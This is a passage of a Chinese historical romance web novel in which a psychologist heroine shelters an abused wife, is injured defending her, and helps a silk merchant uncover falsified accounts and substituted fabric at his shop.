韩诗情闻得此言,知她已真正挣脱了心中枷锁,眼中不由露出欣慰之色。
魏珍荷仍在继续,语声渐朗:“你们刘家便是不休妻,我倒是还想休夫了!如今我已学得一技之长,便是去寻个账房的活计,总不至饿死街头。”
王氏啐了一口,尖声道:“呸!哪有女人家做账房的,丢人!哪家铺子会要你!”
魏珍荷一时语塞,心知王氏所言并非全无道理,在这世道,女子要谋个账房的差事,的确极为不易。可事已至此,断无回头之路。
思虑片刻,正欲硬着头皮回一句“往后之事自有计较”,却听杨雨露在韩诗情示意下抢先开口:“我们要!”
杨雨露扬声说罢,待众人目光皆聚拢过来,方续道:“我家姑娘说了,与解忧阁往来的丝绸铺、胭脂铺、米铺不下十余家,其中缺账房先生的有一些。只要真有本事,姑娘愿为她牵线搭桥,谋个稳妥营生。”
韩诗情亦温言道:“不错。魏姑娘若眼下暂无去处,不妨先在阁中暂住几日,我自会替你留意需用账房的铺户。”
她说这话时,将“魏姑娘”三字咬得格外清晰,不是刘家媳妇,亦非刘嫂子,而是魏珍荷未嫁时,独属于她自己的名讳。
魏珍荷已许久未听旁人如此唤她,心头蓦地一暖,两行清泪划过脸颊,连连向韩诗情道谢。
王氏见解忧阁明目张胆的护着魏珍荷,又跳脚嚷了起来,一会说她们拐带人口,一会喊着要街坊们评理。
魏珍荷此番彻底豁了出去,朝四周众人盈盈一礼,朗声道:“既要评理,我便请大家做个见证:解忧阁从未拐带人口,韩姑娘待我恩同再造!诸位莫要听信小人谗言!”
王氏指着她叫骂,她也再不理会,只胡乱抹了把眼泪,朝韩诗情郑重一拜:“多谢韩姑娘收留。”
韩诗情微微颔首,向杨雨露递了个眼色。
杨雨露会意,上前搀住魏珍荷,一面轻声安慰,一面递过手中绢帕:“你且宽心,有我家姑娘在,断不会让人欺侮了你。”
说罢,便扶着魏珍荷往解忧阁内行去。魏珍荷不住点头,接过手帕,擦拭面上的泪水。
韩诗情见事态暂平,亦不愿再与王氏纠缠,只淡声道:“快些回去吧。若再闹下去,便真该报官了。”
被晾在一旁的王氏既打不过,又压不下心头邪火,左右张望间,怒意攻心,竟猛地抄起路边馒头摊上一根擀面杖,狠狠朝魏珍荷后脑砸去!
杨雨露正低声安慰魏珍荷,未防王氏突然发难,韩诗情恰在二人身后半步,将这一幕看得真切。
这恶妇此时酒意上涌,怒焰攻心,一棍子倾了全力,又直击要害。若当真落下,纵不闹出人命,怕也要伤筋动骨,落下残损。
电光石火间,韩诗情不及唤人,抬臂便将魏珍荷往下一按,令其后脑险险避过棍风。
魏珍荷虽侥幸躲过,韩诗情却因护她,左臂结结实实挨了这全力一击,顿时痛呼一声,身子一软,跌倒在地上。
杨雨露与魏珍荷闻声回望,皆是脸色大变,慌忙俯身去扶。
“姑娘!”
“韩姑娘!”
只见韩诗情瘫坐于地,原本白皙的面容血色尽失,唇咬得发白,一时竟说不出话来,只勉力摇了摇头。
王氏见当真打着了人,打的还是那弱不禁风的韩诗情,酒意顿时吓醒了大半。她怕吃上官司,慌张嚷道:“我、我教训自家媳妇,是你自己凑上来的……可不关我的事!”
杨雨露本全心系在韩诗情身上,闻得此言怒火骤燃,当即要转身教训这泼妇,却被韩诗情轻轻握住手腕。
“不要动手……”韩诗情忍痛低语,“我们先回去。”
杨雨露虽愤愤不平,终究强压怒气,与魏珍荷一左一右搀起韩诗情,缓缓行入门内。
王氏见无人再理会她,忙丢下擀面杖,趁乱溜走了。
一场风波暂告平息。
回到阁中,二人将韩诗情扶入内厅,小心卷起她衣袖检视伤处。
只见左臂上一片乌紫淤痕,肿得老高,皮肉间隐隐可见血丝,瞧来触目惊心。
“也不知有没有伤到骨头。”杨雨露心疼得眼圈发红,声音哽咽。
魏珍荷更是愧疚难当,颤声道:“韩姑娘,都是我连累了你……我、我真是对不住……”
韩诗情虚弱地摇摇头,正欲宽慰两句,忽闻门帘掀动的声音,一道白影如疾风卷入,正是苏云鹤。
他向来从容的面容此刻笼着一层显而易见的焦灼,目光触及韩诗情臂上那片狰狞的淤青时,神色骤然一沉。
刹那间,什么礼数顾忌皆被抛至脑后,他疾步上前半蹲于韩诗情身侧,取出药膏抹于手掌上,又小心翼翼地托起韩诗情的手臂,以掌心触向红肿之处,极轻地按揉。
肌肤相贴的温热传来,韩诗情耳根倏地一热。她自幼家教甚严,上学时专注课
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业,工作后亦心无旁骛,二十三年来,情窦未开,更未与男子这般亲近的接触。
她另一只手无意识地攥紧衣角,眸光飘向旁侧。
苏云鹤全心系在她伤势上,仔细探查,确定未伤及筋骨,方轻舒一口气,温声道:“诸位可安心,修养几日便好。我这儿有上好的跌打药膏,需一日两次悉心推揉。”
韩诗情低低应了一声,音若蚊吟。
苏云鹤此时方觉举止逾礼,忙将她的手臂轻轻放到桌上,又仔细理好衣袖,耳廓亦微染薄红:“下次……让雨露替你上药。”
韩诗情又轻轻“嗯”了一声:“多谢公子。”
苏云鹤点了点头,目光微垂,屋内静了一瞬。很快,他轻咳一声,于一旁落座,问道:“方才究竟发生何事,竟闹得这般严重?”
旖旎气氛渐渐散去,几人遂将事情始末细细道来。
“我不过外出两三个时辰,竟生出这等变故……是我疏忽了。往后若非必要,我当多留阁中照应才是。”苏云鹤听罢眉峰深锁,此事虽与他无关,他却莫名生出几分自责,仿佛是自己疏失,才累得韩诗情受伤。
韩诗情莞尔一笑:“这与公子何干?谁又能料得,光天化日之下,竟有这般蛮横行径。”
话音未落,忽闻前门传来轻轻的叩响。
杨雨露疾步去应,门外却空无一人,唯见一封信笺卡在门缝间,因开门而掉落在地上。
她拾信归来,说不知是何人所留,便拆了信递与韩诗情。
韩诗情展信一观,眸中蓦地漾起笑意。
她将信纸铺展于桌上,温声道:“魏姑娘,此信是写与你的。”
“写与我?”魏珍荷满面疑惑。
苏云鹤与杨雨露亦垂目看去,但见纸上字迹清秀:
「韩姑娘,烦请转告魏姐姐:她今日所作所为,当真了不起!对付那等刁蛮泼妇,便该这般硬气!」
读罢此信,魏珍荷心头热流翻涌,激动得难以成言,方才拭净的泪水又涌了出来,转身紧紧握住杨雨露的手。
见魏珍荷喜极而泣,韩诗情眼眶亦微微发酸。这封匿名来信,不只是对魏珍荷的鼓励与安慰,亦是解忧阁这些时日苦心经营所得到的,最珍贵的回响。
心念转动间,她心中生出一个想法:既开了匿名倾诉,何不再设一处“互助倾诉墙”?女子们可将不涉隐私的烦忧书写张贴出来,旁人亦可匿名回复,或劝慰或献策,彼此扶持。
如此,来访者不仅可以得到她这专业人士的疏导,更能汲取来自平凡女子的朴素暖意与智慧。
她将此构想道出,众人皆颔首称善。
苏云鹤当即决意追加银钱,将隔壁空闲铺面一并盘下,专作这互助倾诉之用,令女子们可隐去身份,畅叙心曲。
正商议间,暮色已浓,门外陡然传来一阵粗暴的撞门声,伴着男子粗粝的吼叫:“开门!将我媳妇交出来!”
魏珍荷闻声,脸色骤然一白——那正是她夫君刘屠夫的声音。
12. 第十二回
“快开门!开门!”
听着刘屠夫不断在外叫嚷,魏珍荷虽心中仍有些无措,眼神却已决然。她深吸一口气,便要出门应对。
苏云鹤抬手虚拦:“我去便可。”
魏珍荷有些迟疑,韩诗情向她投去一个可以信任苏云鹤的目光。她这才安下心,对苏云鹤行了一礼:“有劳苏公子。”
苏云鹤回以微笑,独自走出门去。
他一身胜雪的白衣,身形清瘦,手中玉骨折扇轻摇,瞧着白净文弱。可立在门前台阶上时,却让刘屠夫没来由地升起几分怯意。
刘屠夫心里不自觉打起鼓来,嘴上却不肯服软:“你们快把人交出来!”
苏云鹤并不答话,只缓步走下台阶,目光寒若冰霜。他极少用这样的眼神看人,可对面是伤了韩诗情的王氏之子,此刻又来闹事,若非一向修养良好,恐怕早已出手教训。
刘屠夫被他的气场所慑,又想起他昔日救郡主一事,知他身手不凡,不自觉后退半步。
直到他站定,看似并无动手之意,刘屠夫才稍定心神。
转念一想,自己有理在先,又比对方强壮许多,何须怯懦?这便给自己鼓了鼓劲,挺起胸膛道:“把我媳妇交出来!”
“可以。”苏云鹤终于开口,语气平淡,“只要她愿意,她想何时归家,都没人拦她。可若是她不愿意……”
他没往下说,意思已不言而喻。
刘屠夫心知魏珍荷根本不愿回去,对方这话全然是在敷衍,不由怒道:“别给老子玩这花花肠子!她被你们教唆,如今连家都不回,这不是你们扣住她的理由!”
苏云鹤摇了摇扇子,仿若未见他那几乎要喷出火的目光,只道:“我的话已说得很明白,请回吧。”
说罢便要转身回阁。
刘屠夫气急,却也不敢跟上去理论,只是实在咽不下这口气,为拦住他,扬声叫骂:“你,你凭什么做主?这解忧阁说是女子待的地方,有你这男子在!算怎么回事?”
苏云鹤脚步顿住,冷眼望他:“我是解忧阁的东家之一。”
“东家之一?”刘屠夫嗤笑一声,语带嘲讽,“怕不是那韩诗情的姘头吧?看着冰清玉洁,内里竟——”
他话未说完,只觉面前一阵风闪过。
不过瞬息之间,苏云鹤已至他身前,左右开弓,连赏了他两个耳光。
清脆的响声在暮色中格外刺耳。
他的脸颊瞬间肿了起来,火辣辣地疼。
“你……你!”
万万没想到苏云鹤真敢动手,刘屠夫捂着脸,惊愕地看着他,一时说不出话。
苏云鹤眸光愈冷:“若再出言羞辱韩姑娘,当心你的舌头。”
刘屠夫浑身一颤,不知为何,心里那点火气与不甘,全被这两巴掌扇得烟消云散。他支吾着又骂了两句,却不敢再辱及韩诗情,最后狠狠瞪了苏云鹤一眼,转身跑了。
苏云鹤目送他踉跄远去的背影,轻轻掸了掸袖口,仿佛方才碰了什么脏东西,这才转身推门入内。
“刘家那边,应当暂时不会再来闹了。”回屋后,他淡淡说道。
魏珍荷眼圈微红,深深一福:“多谢公子,多谢韩姑娘……珍荷此生,必不忘二位恩情。”
自那日后,刘家果然再无人来闹。
王氏酒醒,想起自己打伤了韩诗情,本还惴惴不安,见解忧阁并未报官追究,更不敢再生事端。
刘屠夫挨了耳光,虽心中不忿,却觉得苏云鹤绝非寻常人物,不敢造次。
魏珍荷在解忧阁安心住下,白日仍去女子学堂习学算账,闲时便帮着杨雨露打理阁中杂务。她心思细腻,做事勤勉,韩诗情试着让她整理收支账目,她理得清清楚楚,连杨雨露都啧啧称奇。
不过三两日,韩诗情将她唤至前厅,温声道:“魏姑娘,你这几日理账,我已看过。解忧阁半月账目繁杂,你仅用一日便料理得条清缕晰,分毫无误。”
她语带赞许,望了身旁的苏云鹤一眼,继续道:“苏公子有位好友,在京城的绸缎庄分号正缺一位账房先生。你有这般天赋,又心细,他愿意引荐你去试试,不知你意下如何?”
魏珍荷闻言,眼中骤然绽出光彩,却又有些忐忑:“我……我只在学堂学过数月,怕难以胜任……”
“既有此心,有此才,不妨先去一试。”韩诗情微微一笑,“若不成,再作计较。”
魏珍荷沉吟片刻,终是重重点头:“好,我去试试!”
苏云鹤当即修书一封,交与苏影送去。
不过半月,回信便至,邀魏珍荷次日前往绫罗庄一叙。
翌日清晨,魏珍荷换上一身干净的素色衣裙,发髻梳得整整齐齐,虽无贵重首饰,却自有一番清秀利落。
绫罗庄坐落于城东最繁华的锦绣街上,三层楼阁气派非凡,魏珍荷在门前踌躇片刻,鼓起勇气踏入店内。
这一步踏进去,她的世界便不再是四四方方的灶台与院墙,而是账册如海、算珠如星的广阔生计。
在绫罗庄里,她心细如发,每日将经手的账目理得清清楚楚,连素来严苛的账房总管也对她青眼有加。
庄里包了食宿,账房先生们平日忙碌,鲜少踏出庄门。待到月末休沐,才得空回解忧阁看看韩诗情。
此时韩诗情正在前厅整理近日互助倾诉墙上贴出的笺子,忽然听得杨雨露带人进门,抬眼望去,便见魏珍荷穿着一身簇新的淡青色襦裙,手中提着两包点心。
“韩姑娘。”她轻声唤道,眉眼间已不见月前的怯懦,唯余一份沉静从容。
韩诗情放下手中纸笺,含笑迎上去:“珍荷来了?快过来坐。”
待魏珍荷落了座,杨雨露沏了茶端上来。
魏珍荷将点心推至韩诗情面前:“这是酥香斋新出的桂花糕,我想着姑娘或许喜欢,便带了些来。”
韩诗情道了声谢,又温声问道:“在绫罗庄可还习惯?”
魏珍荷抿了口茶,低声道:“绫罗庄的规矩极严,单是账房先生便有十八位,各管一摊。
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每日的账簿做完后便要立时上交,为防账目外泄,片纸不得私留。待到次月初,还得齐聚账房总管房中,将整月的账目汇总结算,一一签字画押。”
她说得平缓,韩诗情却凭着心理咨询师的本能,捕捉到了她语速中微不可察的迟疑。
“签字画押一事……可有什么不妥?”韩诗情轻问。
魏珍荷握着茶盏的手紧了紧。
恰在此时,苏云鹤从内院缓步而出,依旧是一袭白衣,手中执着那柄熟悉的折扇。见魏珍荷在座,他微微颔首:“魏姑娘今日休沐?”
“苏公子。”魏珍荷起身行礼。
三人重新落座,魏珍荷的目光在韩诗情与苏云鹤之间游移片刻,似是下了什么决心。
“其实今日来,我有一事要告知二位……”她声音压得极低,“绫罗庄,怕是有一桩祸事。”
苏云鹤手中折扇顿住,韩诗情神色亦是一肃。杨雨露会意,悄声退至门外守着。
“便是你方才提到的,签字画押一事?”韩诗情猜测道。
魏珍荷颔首,将绫罗庄账房的规矩细细道来:“每月初五,我们十八位账房,需排队前往吴总管处核对月账。”
想起这事,她声音渐紧:“说是核对,可我们手中未留日账底簿。整整一个月的账目,如何核得清楚?排队时,吴总管的副手钱先生就守在旁边,不停催促,至多一盏茶的工夫,便将我们打发走。”
韩诗情蹙眉:“便是核不清楚,也须签字画押?”
“正是。”魏珍荷猛地点头,“可我天生对数字记得牢,我依稀记得,三月十二日李记布庄那笔二十八两七钱的货款,月账上写的是二十八两九钱,还有几处记录也有误,只是皆只差几钱几分,改得不着痕迹。”
韩诗情与苏云鹤对视一眼,心头俱是一凛。
苏云鹤沉声问:“这月账,你签了?”
魏珍荷点头,低声道:“我不敢不签……”
厅中一时寂静。
韩诗情缓缓放下茶盏,瓷底轻触木桌,发出一声清脆的声响。
她缓缓开口:“不留底、催着你们签字、利用的是从众之心……他们不仅要贪钱,还要让这笔糊涂账永远算不到自己头上。因为所有经手的人,都已‘亲自’承认账目无误。”
苏云鹤微微点头,目中露出深以为然之色:“他们贪的不止一笔二笔。这等微末改动,日积月累,便成了巨款。”
言罢,又转向魏珍荷:“若东家察觉,报官追究,你们这些画了押的账房,便一个都逃不脱干系。”
魏珍荷脸色倏白,“如此,我该怎样做?”
韩诗情轻轻按住她的手背:“别怕,你能发现此事,已是侥幸。他们千算万算,没算到会有你这样一个过目不忘的人。”
“可上月账册,我已签字画押,”她心头仍是惴惴难安,“若是东家查出账目有差,追究起来……”
“不必忧心。”苏云鹤霍然起身,折扇在掌中一合,“看来,他该回一趟京城了。”
13. 第十三回
当晚,苏云鹤修书一封,发往江南裴,不出半个月,便有贵客来访。
正值暮色四合,忽闻门外传来清朗带笑的男子声音:“苏云鹤公子可在?”
杨雨露起身出门,将一位青年公子迎进院内,这公子约莫二十上下年纪,一身靛蓝织锦长袍,他眉目英挺,此刻正摇着一柄乌木折扇,笑吟吟望着闻声走来的苏云鹤。
“栩生。”苏云鹤眼中掠过一丝真切的笑意,“你来得倒快。”
“我此番进京,未过家门便先来寻你,自是有要事相商。”裴栩生收了扇子,目光随即落在苏云鹤身旁的韩诗情脸上,只觉其清丽出尘,竟是生平未见,不由得笑意更深,“这位想必就是你信中提到的韩姑娘了?久仰。”
韩诗情福身还礼:“裴公子。”
三人入内厅落座,杨雨露奉上茶点。
裴栩生端起青瓷茶盏,饮了一口,以指尖轻叩盏壁,神色渐肃:“不瞒你说,江南近来风波不断,短短三个月,七家大商户接连曝出账目纰漏,手法也如你信中说的那般,在毫厘数目上做手脚。”
他放下茶盏,眸光锐利如刀,“我疑心这不是散贼所为,背后定有张网。”
苏云鹤静静听着,手中折扇轻摇:“他们不在京城内,想来更加猖獗。”
“何止猖獗?”裴栩生冷笑,“那些掌柜的个个比猴儿都精,账面上天衣无缝。若非我裴家在各处都有些耳目,只怕被他们掏空了库底还蒙在鼓里。”
他话锋一转,望向韩诗情,“云鹤在信中说,搭救陈婆子、智救宁安郡主那两件事。皆是多亏韩姑娘那揣摩人心的本事,方能在绝境中寻得破局之机。”
韩诗情温声道:“裴公子过誉了,不过是些粗浅见识,碰巧用对了地方。”
“粗浅见识?”裴栩生摇头,语气郑重,“人心最难测,能看透人心,才是真本事。我此番要查的,正是人心里的鬼。”他顿了顿,身子微微前倾,“韩姑娘,实不相瞒,我欲请你与云鹤相助,暗查京城几家铺子的账目,尤其是城东那家绫罗庄。”
苏云鹤与裴栩生对视一眼,无需多言便已了然:“你与我乃至交,此事我自当相助。”
韩诗情也不犹豫,跟着道:“魏姑娘既入了解忧阁的门,我便不能任她蒙冤。况且女子自立本就不易,若因此事污了名声,往后这条路便更难走了。此事,我也愿尽绵薄之力。”
“好!”裴栩生抚掌而笑,“有二位相助,此事便成了一半。”
三人又商议了两个多时辰,将行动方略细细敲定,神色才放松下来。
正事说罢,裴栩生忽地露出几分少年人的惫懒情态。他揉揉肚子,有些不好意思地对苏云鹤道:“云鹤,我连赶了两日路,又说了这半晌话,五脏庙早闹翻天了。”
韩诗情莞尔,替苏云鹤回道:“雨露正在后厨准备晚膳,需稍等片刻。不过前厅还有些余下的点心,我去取来,给裴公子垫垫肚子。”
“有劳韩姑娘。”裴栩生拱手,目送她起身出了内厅。
待那抹淡粉身影消失在湘竹帘后,裴栩生倏地凑近苏云鹤,挑眉笑道:“说起陈婆子那案子,我路上可听了满耳朵的传闻。说你借我裴家三公子的名头,编出一段被江湖女侠强迫失身、珠胎暗结的苦情戏?”
他压低声音,眼里闪着促狭的光,“与你搭这出戏的,莫不就是韩姑娘?”
未料他突然提及此事,苏云鹤耳根微热,轻咳一声:“不过是权宜之计,莫要胡言。”
“所以,确实是她了?”裴栩生敛了笑,神色认真几分,“你我相识十余载,我从未见你待谁如此上心。”他朝门外扫了一眼,声音压得更低,“何况……韩姑娘看你的眼神,也与看旁人时不同。”
苏云鹤心头一跳:“当真?”
话说出口,方察觉自己失态,忙端起茶盏佯作饮茶,沉声道:“女子名节重若泰山,这等玩笑开不得。”
“谁与你玩笑?”裴栩生扮出委屈状,眼里却全是笑意,“我瞧得真切,韩姑娘对你定然有意。你若也倾心于她,何不将那假戏做成真,堂堂正正三媒六聘,迎她过门?”
苏云鹤一时语塞,只觉耳根发烫,他正欲辩驳,抬眼便见韩诗情端着一碟点心,恰于此时推门而入。
“裴公子,前厅只有些桂花酥了,你先将就将就。”
此时的韩诗情,面颊染着薄薄红晕,眸光低垂,纤指紧紧攥着托盘边沿,显是将方才的话听去了大半。
她稳步走近,将点心轻轻置于桌上,面向苏云鹤,声线竭力平稳:“公子与裴公子许久未见,想来有许多话要谈,我去后厨,瞧瞧晚膳备得如何了。”
说罢,也不待二人回应,福身一礼便转身离去,裙角翩跹间,隐有仓促之意。
苏云鹤望着她的背影,想起她方才含羞带怯、面颊绯红的模样,心底悄然漫开一丝甜意,如春日初融的雪水,细细润过心田。
再侧目看向身旁已捏起一块桂花酥大快朵颐的裴栩生,无奈轻叹一声,将青瓷碟子朝他推近些。
“吃你的桂花酥吧,少说些浑话。”
“啧啧,恼羞成怒,恼羞成怒。”裴栩生笑嘻嘻又拈一块。
翌日,解忧阁前厅。
韩诗情铺开素笺,执笔蘸墨,向绫罗庄写了一封拜帖。
信中言辞恳切,言明解忧阁女子学堂欲开设女红课堂,久闻绫罗庄绣娘技艺精湛,特请庄中派一二绣娘前来指点;又言阁中与数位名门淑女交好,或可代为引荐,以拓销路。
随信另附银票数张。
杨雨露送信归来,向韩诗情回禀:“周掌柜已收下拜帖,言语甚为客气,说明日晌午便派两位最得力的绣娘过来。”
韩诗情微微颔首,将笔轻轻搁回青玉笔山。
次日晌午,绫罗庄的两位绣娘如约而至。
年长些的姓柳,容色沉静,双手指节略粗,是常
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年拈针留下的痕迹;年轻些的姓孙,眉眼伶俐,未语先带三分笑。
将她们引入前厅,又寒暄几句后,韩诗情向杨雨露微微颔首。
杨雨露会意,转身取来一个青布包袱,在桌上小心解开。
里头是几方绣好的帕子,还有几个缝制精巧的香囊。针法虽显生涩,针脚也不算十分匀净,却能看出是用了心的。
“二位师傅见笑了。”杨雨露面上露出些赧然之色,依着事先备好的说辞道,“我家姑娘想在学堂里开一门女红课,便先请了几位手巧的女子试着绣了些。只是,她们都是初学,针脚粗糙,我们不精此道,也不知该如何指点。这才冒昧请二位来掌掌眼。”
柳氏闻言,伸手取过一方帕子。指尖甫一触到布料,她的动作便不由得放轻了三分。
那是极细腻的软绸,光泽温润如月下清波,触手生凉,正是上等杭绸才有的质地。
孙氏也拈起一个香囊,指腹轻轻抚过缎面,眼中几乎立时漾出光来,脱口道:“这……你们竟舍得用这般上好的绸缎给生手试做?”
韩诗情将二人的情状尽收眼底,心中已明白了七八分,面上却是不动声色,只缓声道:“既是正经要学,自然要给好的。料子若粗劣,便是有十分手艺,也显不出五分光彩。何况……”她顿了顿,语气愈发诚恳,“让她们用这上好的料子,是想叫她们知晓,她们有这份心思去学,便值得被这般看待。”
听闻这番肺腑之言,柳氏神色微动,孙氏更是怔了一瞬,捏着香囊的手指不自觉收紧。
韩诗情话锋一转,仿若闲谈般问道:“这般料子在绫罗庄,想来也是寻常吧?”
这一问,将二人的思绪拉了回来。
柳氏微微一笑,答道:“自然是寻常的。庄里的料子,也都用的这些。”说罢,又下意识地添了一句,“改日二位得空,可一定要来庄里坐坐。亲眼瞧瞧我们库里的料子,那质地、那花色,便知我所言不虚了。届时若有合眼缘的,正好带些回去。”
韩诗情心中雪亮,不再深问,只温言请二人继续品评绣品针法。
柳氏敛了心神,细细说起帕子上针脚的疏密、丝线配色的浓淡,孙氏在一旁偶尔补上一两句,二人均未再提那料子之事。
只是她们抚摸这些绸缎时,那下意识流露出的珍惜与感慨,却瞒不过韩诗情的眼睛。
一番说道完毕,杨雨露将她们所述详记于纸笺之上,又奉上酬仪,方才恭敬送走她们。
待屋里只剩韩诗情后,苏云鹤与裴栩生自屏风后转出。
苏云鹤步履轻缓,目光落在韩诗情沉静的面容上,见她眉宇舒展,眸光清亮,便知她心中已有定见。
裴栩生却没看出门道,脸上惯有的笑意已敛去,有些着急地问道:“她们是何反应?韩姑娘可瞧出什么了?”
韩诗情直视着裴栩生,声音清晰而沉稳。
“绫罗庄的布料,确是出了问题。”
14. 第十四回
见裴栩生面色沉了下来,韩诗情将心中所想娓娓道来。
“柳氏口口声声说,这是绫罗庄最寻常的料子,”她顿了一顿,“可指尖触上去时,那般小心翼翼,哪是对待寻常物件的样子。”
裴栩生皱眉:“姑娘料得真准,既是要贪我裴家银钱,果真不只在账目上做手脚。可在用料上以次充好,竟不怕被人识破吗?”
“识破并不容易。”韩诗情轻叹,“若我没猜错,他们只对真正识货的权贵售出上品,对寻常客人则以外观相似、质地稍次的替代。可即便是次品,也会用极好的料子。”
苏云鹤轻摇折扇,感叹道:“账本上虚报一笔,料上再瞒天过海,两头获利。”
“我也是这般想的。”韩诗情随之轻叹,“可今日这番试探,终究只是猜测。唯有拿到确凿的证据,方才能谈下一步的对策。”
听闻此言,裴栩生神色凝重:“我这个东家若直接去讨要布料,只怕会打草惊蛇,若是扮作寻常百姓去买,纵使给再多的银子,恐怕也买不来上品作对比。”
“此事倒不难。”韩诗情眸光微亮,“请一位真正的贵女前去,便能要来上品。”
“你是指……”苏云鹤顷刻领悟过来,面上浮现出会意的神色,“不错,此人确是上佳人选。若她肯出手相助,便可事半功倍。”
“公子懂我。”韩诗情含笑颔首。
裴栩生听得一头雾水,看看韩诗情,又看看苏云鹤,无奈道:“你们……怎么总爱打哑谜?究竟是谁,快说与我听。”
苏云鹤笑意更深,却是卖了个关子。
不过两三个时辰,韩诗情所提之人便出现在解忧阁前厅。
正是他们的老相识——宁安郡主荀素雪。
听罢原委,荀素雪毫不犹豫应了下来。
“这事听着便叫人生气,”荀素雪甚是热心,“韩姑娘尽管吩咐,要我如何配合?”
韩诗情将计划细细说了,荀素雪当即点头:“好,我这便往绫罗庄走一趟。”
她行事向来雷厉风行,半个时辰后,侯府马车已停在绫罗庄门前。周掌柜见是宁安郡主亲至,忙不迭迎出,满面堆笑。
“郡主大驾光临,小店蓬荜生辉。”周掌柜躬身道,“不知郡主想看些什么料子?”
荀素雪端着郡主的架子,漫不经心扫视一圈:“天渐凉了,想做几件冬衣。听说你家的云水绸和软烟罗是京中最好的,拿来我瞧瞧。”
“是是是,郡主稍候。”周掌柜转身吩咐伙计,“去库房取最好的云水绸和软烟罗来。”说罢又补充一句,“要上个月江南新到的那批。”
不多时,几匹绸缎被捧了出来。
荀素雪上手摸了摸,又对着光细看光泽,确是好料子,与她往日所见的相差无几。
“还算入眼。”她点了点头,“这几匹我全要了。再备二十匹送到府上,过几日我要办茶会,有几位贵女到访,也想做几身衣裳。”
周掌柜连声应下,正要记下数目,荀素雪又道:“务必挑些好的,来的都是官家千金,不能损了我的颜面。还有,若她们喜欢你家这绸缎,往后的生意,只怕更红火。”
“郡主放心!”周掌柜拍着胸脯,“库房里还备着不少,你可要随我去瞧瞧,挑些合心意的花样?”
荀素雪素手随意一抬:“不必了,绫罗庄的料子我信得过,你拣最好的送来便是。”
说罢便让墨蕊付了银钱,打道回府。
荀素雪方出店门,一位衣着华贵的年轻女子便缓步踏入绫罗庄,身后随着两名丫鬟。
她瞧着约莫十七八岁,容貌秀丽,举止间自有一股矜贵气度。
周掌柜刚送走荀素雪,侧身见到这女子,忙又堆起笑脸:“这位姑娘想看些什么?”
女子未答,却反问道:“方才出去那位,可是宁安郡主?”
周掌柜不知她为何提出此问,只道:“姑娘好眼力,正是郡主。”
女子眼中露出几分惊喜:“竟真是她!我远远瞧着像,果然没认错。”她走到云水绸前,指尖轻轻抚过缎面,“这便是方才郡主看上的那几匹布料么?”
周掌柜点头称是,又问:“听姑娘口音,不似京城人士?”
女子坦然道:“我随家父来京省亲。”她又瞧了瞧那绸缎,“这定是京中最时兴的上品了,否则郡主怎会亲自来采买?难得进京一趟,我也要多带两匹回去。”
说罢向身旁丫鬟递了个眼色,“哪匹布尚未被郡主定下,咱们便带走吧。”
丫鬟闻言,作势要上前询问。
周掌柜眼中掠过一丝迟疑,抬手虚拦,随即笑道:“已全被郡主定下了。”
“全定下了?”女子面露失望,很快又问,“可否匀我一匹?”
周掌柜摆摆手,温声解释:“姑娘莫急。这几匹是郡主亲手拣定的,不好另作处置,可库房里,还有好些同样的料子。”
女子这才神色稍缓,轻笑道:“原来如此,方才还以为,郡主已将这铺中的好料子尽数采买了去。”
“怎会,怎会。”周掌柜笑着回她,转身吩咐伙计去取。
不多时,伙计又捧出一匹云水绸与一匹软烟罗,除花色略有不同,质感光泽与荀素雪所选那几匹,几乎没有差别。
“姑娘瞧瞧,这两匹可合意?”他问道。
女子仔细验看,满意点头:“甚好,便要这两匹。”
周掌柜忙命人细心包好,态度殷勤备至。
黄昏时分,这两匹绸缎与荀素雪所购的那几匹,被悄然送至解忧阁中。
裴栩生将两匹云水绸并排铺在桌上,执灯凑近细照。
乍看之下,两匹料子在色泽、光泽上几乎毫无二致,可当裴栩生以指腹捻过缎面时,眉头渐渐蹙起。
“触感有细微之别。”他低声道。
说罢,他唤杨雨露端来一盆醋水,又执起铜簪自两匹绸缎上各挑起一缕丝线,分别浸入醋水中。
片刻,他将两根丝线提起,神色一凛:“这便看出来了。”
韩诗情与苏云鹤闻言,凝目看去。
只见自荀素雪那匹绸缎取下的丝线光泽依旧温润,而另一匹取出的丝线却泛起一层极淡的浊色,边缘处更是微微发毛卷曲。
“这是用稍次一等的生丝织成,再以特殊工艺染色,使之看起来与上品无异。”裴栩生放下铜簪,“若非行家,根本看不出差别。以醋水试之,方能识破。”
他盯着那两缕丝线,面色越发凝重:“同一个时辰、同一批料子,便敢做这等偷梁换柱之事,当真是
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不将我裴家放在眼中!”
越说下去,他越发愤怒,当即起身,便要带上那两匹绸缎,以东家之名去官府首告,并彻查绫罗庄账目。
“裴公子且慢。”韩诗情抬手轻拦,语气徐缓,“账目牵涉过广,诸多账房皆已画押,若贸然揭发,他们大可推诿抵赖,说是账房们联手舞弊,与主事者无涉。至于你手中的布料,他们更不会承认是在绫罗庄中所购。”
苏云鹤亦颔首附和:“库房之中,上品料子想来备得充足,应付官府查验并非难事;仿品料子藏在何处,我们无从知晓。若要坐实其罪,证据尚须再寻,证人也尤为要紧。”
“证人?”裴栩生蹙眉,“我虽空有东家之名,却久不在京中,绫罗庄里里外外,并无半个可用之人。”
韩诗情摇头:“不必以东家之名去寻,从绣娘处入手便是。更确切些说,孙氏,倒是个可牵的线。”
裴栩生对此不抱希望,“她是否知晓内幕尚未可知。即便知晓,家中三个弟弟需她供养,唯有绫罗庄能给得起这份进项,她怎肯轻易吐露秘密,砸了自己的饭碗?”
提到这里,韩诗情忆起与两个绣娘初见时的情形,神色微敛:“柳氏对内情知晓颇深,不易撼动。孙氏听闻她搪塞我时的神情,当是也知晓些什么,且她抚摸杭绸时眼中那份藏不住的羡与求……颇有成事可能。”
裴栩生问:“你欲如何行事?”
韩诗情不答,反问道:“敢问裴公子,可知柳氏、孙氏月钱几何?”
裴栩生略一沉吟:“柳氏资历最深,手艺也佳,月钱十两。孙氏资历略浅,然绣技在众绣娘中亦是出挑,月钱五两。这在绣娘之中,已是极高的了。”
韩诗情朱唇轻启,再要开口,苏云鹤已接过话头:“如此说来,若孙氏不与他们合流,未有别项进益,月钱便只及柳氏一半,是么?”
“是……”裴栩生一愣,更为不解,“你们问这个做什么?”
苏云鹤不答,侧身唤杨雨露,温声道:“明日贴张告示,说解忧阁欲寻女红先生一位,月钱十两,包食宿。届时设一小赛,以艺择人。理由么,便说女红一道,寻常女子皆会,然精者难得,故愿以重金求技高之人。”
说罢,他侧目望向韩诗情,眸光温柔,似有春风拂过。
韩诗情垂眸含笑,那一瞬未言一句,却又似已说了千言万语。
她的心意,他果然又看懂了。
